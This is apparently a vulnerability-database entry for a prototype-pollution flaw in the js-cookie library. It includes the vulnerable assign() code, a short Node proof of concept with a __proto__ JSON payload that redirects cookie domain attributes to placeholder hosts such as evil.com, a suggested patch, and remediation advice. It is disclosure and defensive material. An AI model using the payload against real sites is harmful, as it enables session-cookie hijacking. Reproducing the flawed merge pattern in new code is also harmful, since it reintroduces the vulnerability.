js-cookie CVE-2026-46625
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Primary rating from Vendor (https://github.com/js-cookie/js-cookie) · only source for this CVE.
CVSS VectorVendor: https://github.com/js-cookie/js-cookie
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Lifecycle Timeline
2Blast Radius
ecosystem impact- 376 npm packages depend on js-cookie (17 direct, 361 indirect)
Ecosystem-wide dependent count for version 3.0.7.
DescriptionCVE.org
Summary
js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "__proto__" member is an *own enumerable* property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.__proto__ setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.
Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.
Impact
Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:
const cfg = await fetch('/config').then(r => r.json());
Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attackerA payload of {"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:
Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=NoneAffected code
// src/assign.mjs - full file
export default function (target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i]
for (var key in source) { // includes own enumerable '__proto__'
target[key] = source[key] // [[Set]] form - fires __proto__ setter
}
}
return target
}Proof of concept
Node 22.11.0, no third-party deps:
Environment setup
mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc
npm init -y
npm i js-cookiePoC
ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs
let lastSetCookie = '';
globalThis.document = {
get cookie() { return ''; },
set cookie(v) { lastSetCookie = v; }
};
const { default: Cookies } = await import('js-cookie');
const attackerAttrs = JSON.parse(
'{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}'
);
Cookies.set('session', 'TOKEN', attackerAttrs);
console.log('Set-Cookie that js-cookie wrote to document.cookie:');
console.log(lastSetCookie);Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" />
Suggested patch
--- a/src/assign.mjs
+++ b/src/assign.mjs
@@
export default function (target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i]
- for (var key in source) {
- target[key] = source[key]
- }
+ for (var key in source) {
+ if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue
+ Object.defineProperty(target, key, {
+ value: source[key],
+ writable: true,
+ enumerable: true,
+ configurable: true,
+ })
+ }
}
return target
}Equivalent one-liner alternative - iterate own names only and filter:
for (const key of Object.getOwnPropertyNames(source)) {
if (key === '__proto__') continue
target[key] = source[key]
}AnalysisAI
Cookie-attribute injection in js-cookie versions 3.0.5 and earlier allows remote attackers to override security-relevant Set-Cookie attributes (domain, secure, samesite, expires, path) by supplying a JSON-derived attributes object containing a __proto__ key. Publicly available exploit code exists in the GHSA-qjx8-664m-686j advisory demonstrating per-instance prototype hijack via the assign() helper. No active exploitation has been observed, and the issue is fixed in 3.0.7.
Technical ContextAI
js-cookie is a lightweight JavaScript library (pkg:npm/js-cookie) widely used in browser applications to read and write document.cookie. The root cause is CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes, a.k.a. Prototype Pollution). The internal assign() helper at src/assign.mjs merges argument objects into a fresh target ({}) using a for...in loop with plain assignment (target[key] = source[key]). When the source is produced by JSON.parse, the parser materializes __proto__ as an own enumerable data property; the for...in enumerates it, and the [[Set]] semantics of plain assignment trigger Object.prototype's __proto__ accessor on the target. The result is a per-instance prototype hijack - Object.prototype itself remains clean, but the merged attributes object inherits attacker-controlled keys, which the downstream set() function then walks with another for...in and serializes directly into the Set-Cookie attribute list.
RemediationAI
Vendor-released patch: upgrade js-cookie to 3.0.7 (npm install js-cookie@^3.0.7 or update the lockfile), per the GHSA-qjx8-664m-686j advisory at https://github.com/js-cookie/js-cookie/security/advisories/GHSA-qjx8-664m-686j. If immediate upgrade is not possible, sanitize any object passed as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, and Cookies.withConverter by either constructing a fresh object with an explicit allowlist of attribute keys (path, domain, secure, samesite, expires) or by stripping __proto__, constructor, and prototype keys before invocation - note that JSON.parse with a reviver that returns undefined for those keys is a safer transport-level fix and avoids requiring callers to remember the allowlist. Avoid the temptation to globally freeze Object.prototype as a workaround, since it can break unrelated libraries that rely on legitimate prototype writes.
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se
Same technique Information Disclosure
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-qjx8-664m-686j